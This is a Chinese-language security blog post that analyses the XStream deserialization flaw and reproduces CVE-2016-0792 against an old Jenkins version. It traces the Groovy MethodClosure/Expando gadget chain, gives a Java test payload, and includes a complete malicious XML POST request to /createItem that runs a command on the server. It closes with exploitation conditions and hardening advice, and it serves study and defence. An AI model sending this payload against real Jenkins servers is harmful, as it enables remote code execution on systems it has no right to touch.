XStream组件功能
XStream可以轻易的将Java对象和xml文档相互转换,而且可以修改某个特定的属性和节点名称,而且也支持json的转换。
它具有以下特点:
- 使用方便 – XStream的API提供了一个高层次外观,以简化常用的用例。
- 无需创建映射 – XStream的API提供了默认的映射大部分对象序列化。
- 性能 – XStream快速和低内存占用,适合于大对象图或系统。
- 干净的XML – XStream创建一个干净和紧凑XML结果,这很容易阅读。
- 不需要修改对象 – XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类。默认构造函- – 数不是强制性的要求。
- 完整对象图支持 – XStream允许保持在对象模型中遇到的重复引用,并支持循环引用。
- 可自定义的转换策略 – 定制策略可以允许特定类型的定制被表示为XML的注册。
- 安全框架 – XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题。
- 错误消息 – 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题。
- 另一种输出格式 – XStream支持其它的输出格式,如JSON。
值得注意的是:它转换对象时,不需要对象继承Serializable接口。 这极大的方便了反序列化攻击。
XStream简单序列化代码如下:
@Test public void testWriter() { Person person =newPerson(); //Set the properties using the setter methods //Note: This can also be done with a constructor. //Since we want to show that XStream can serialize //even without a constructor, this approach is used. person.setName("Jack"); person.setAge(18); person.setAddress("whu"); //Serialize the object XStream xs =newXStream(); //Write to a file in the file system try{ String filename ="./person.txt"; FileOutputStream fs =newFileOutputStream(filename); xs.toXML(person,fs); } catch (FileNotFoundException e1) { e1.printStackTrace(); } }
可以看到,XStream可以很方便地java对象转换为xml文件,生成文件如下:
<model.Person> <name>Tide</name> <age>18</age> <address>whu</address> </model.Person>
也可方便的将xml文件反序列化为java对象:
@Test public void testReader() { XStream xs = new XStream(new DomDriver()); Person person = new Person(); try { String filename = "./person.txt"; File file = new File(filename); FileInputStream fis = new FileInputStream(filename); //System.out.println(filename); System.out.println(FileUtils.readFileToString(file)); xs.fromXML(fis, person); //print the data from the object that has been read System.out.println(person.toString()); } catch (FileNotFoundException ex) { ex.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } }
发现Sink
对于一个漏洞利用,必然有一个敏感的Sink。它可以类或者函数等,它的作用是执行命令或者读写文件等敏感操作。可以被攻击者所利用,去做一些事情。这个漏洞的Sink就是一个MethodClosure闭包类:
/** * Represents a method on an object using a closure which can be invoked * at any time * */ public class MethodClosure extends Closure { private String method; public MethodClosure(Object owner, String method) {//构造函数,传入对象和方法名。 super(owner); this.method = method; final Class clazz = owner.getClass()==Class.class?(Class) owner:owner.getClass(); maximumNumberOfParameters = 0; parameterTypes = new Class [0]; List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method); for(MetaMethod m : methods) { if (m.getParameterTypes().length > maximumNumberOfParameters) { Class[] pt = m.getNativeParameterTypes(); maximumNumberOfParameters = pt.length; parameterTypes = pt; } } } public String getMethod() { return method; } protected Object doCall(Object arguments) { return InvokerHelper.invokeMethod(getOwner(), method, arguments);//调用任意对象(owner)的任意方法(method)。 } public Object getProperty(String property) { if ("method".equals(property)) { return getMethod(); } else return super.getProperty(property); } }
根据类的描述可知道是可以使用其调用对象的方法,并且继承了Closure类。而其doCall方法,它直接使用反射机制调用了我们的任意对象方法。并且对象和方法名是可以通过构造函数传入的。继续看父类(Closure):
public V call() { final Object[] NOARGS = EMPTY_OBJECT_ARRAY; return call(NOARGS); } @SuppressWarnings("unchecked") public V call(Object... args) { try { return (V) getMetaClass().invokeMethod(this,"doCall",args); } catch (InvokerInvocationException e) { ExceptionUtils.sneakyThrow(e.getCause()); return null; // unreachable statement } catch (Exception e) { return (V) throwRuntimeException(e); } }
调用父类(Closure)的call方法即可自动调用子类的doCall方法。于是,如下代码即可执行弹出计算器:
MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder("calc"), "start"); methodClosure.call();
说明:无法控制方法的参数(args),只能通过调用call(参数)来实现,因此利用的局限性比较大。只能找寻一个对象具有无参方法,来进行利用。
自动触发
在Expando类中,发现了Closure.call方法的调用。而且是在hashCode方法中:
/** * This allows hashCode to be overridden by a closure <i>field</i> method attached * to the expando object. * * @see java.lang.Object#hashCode() */ public int hashCode() { Object method = getProperties().get("hashCode"); if (method != null && method instanceof Closure) { // invoke overridden hashCode closure method Closure closure = (Closure) method; closure.setDelegate(this); Integer ret = (Integer) closure.call();//调用危险方法 return ret.intValue(); } else { return super.hashCode(); } }
常用的HashMap类中,存在调用hashCode方法:
public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key.hashCode()); // 调用key的hashCode方法 int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null; }
以下为测试自动触发的payload:
@Test public void testExploit() { Map map = new HashMap<Expando, Integer>(); Expando expando = new Expando(); MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder("calc"), "start"); //methodClosure.call(); expando.setProperty("hashCode", methodClosure); map.put(expando, 123); }
CVE-2016-0792漏洞复现
使用了XStream库的应用有很多,Jenkins是其中一个。接下来以CVE-2016-0792为例进行漏洞复现。
首先需要安装jenkins,这里使用的是1.642.1版本,其他版本可以自行下载
(http://archives.jenkins-ci.org/war-stable/1.642.1/jenkins.war)
在命令行内安装下载好的war包。这里需要在本地配置java环境。
java -jar C:\Users\Administrator\Desktop\jenkins.war
完成后访问http://ip:8080。可以打开即为安装成功。
点击“新建”,将Burp抓到的GET包转为POST包
在攻击机内使用burp构造以下数据包
POST /createItem?name=foo HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Referer: http://192.168.92.150:8080/ Accept-Language: zh-CN User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: 192.168.92.150:8080 Cookie: JSESSIONID.45f4c58a=15p7yy31dzajd1dtooqm83m4ow; screenResolution=1718x926 Connection: keep-alive Content-Type: text/xml Content-Length: 895 <map> <entry> <groovy.util.Expando> <expandoProperties> <entry> <string>hashCode</string> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </delegate> <owner class="java.lang.ProcessBuilder" reference="../delegate"/> <resolveStrategy>0</resolveStrategy> <directive>0</directive> <parameterTypes/> <maximumNumberOfParameters>0</maximumNumberOfParameters> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <int>123</int> </entry> </map>
可以看到靶机内弹出计算器程序
利用条件
1. 权限限制条件:
无论匿名用户,还是登陆用户,权限必须具有“Overall的read权限和Job的create权限”两个权限(当然具有其他权限越多越好,若拥有administrater权限,其他任何权限都不是必须条件了,因为administrater为最高权限,故这里不考虑administrater)。因为该个漏洞是利用的createitem创建job的功能去调用api,所以create是必须的,而Jenkins最基本的权限是overall的read权限,用户必须赋予阅读的权限,不然什么都看不到。
2. 版本限制条件:
jenkins版本小于 1.650 (1.650版本已修复该问题)
3. post数据内容类型:
构造一个恶意的 XML 文档发送至服务端接口时,内容类型需注意为xml。
安全加固
-
更新 Jenkins 至最新版本 1.650以上。
-
jenkins做访问控制,收入内网不开放往外网。
-
禁止jenkins的匿名访问权限。
-
保证每个jenkins账号不为弱口令。
参考文章:
XStream反序列化组件攻击分析
https://www.angelwhu.com/paper/2016/03/15/xstream-deserialization-component-attack-analysis/#1-¥マムホᄚSink
Jenkins-CVE-2016-0792漏洞复现(Xstream 反序列化漏洞)
https://blog.csdn.net/qq_43645782/article/details/106557390
Jenkins-CVE-2016-0792漏洞利用及修复建议
https://www.cnblogs.com/sevck/p/5225629.htm
来源:freebuf.com 2020-08-23 22:20:23 by: 你伤不到我哒
请登录后发表评论
注册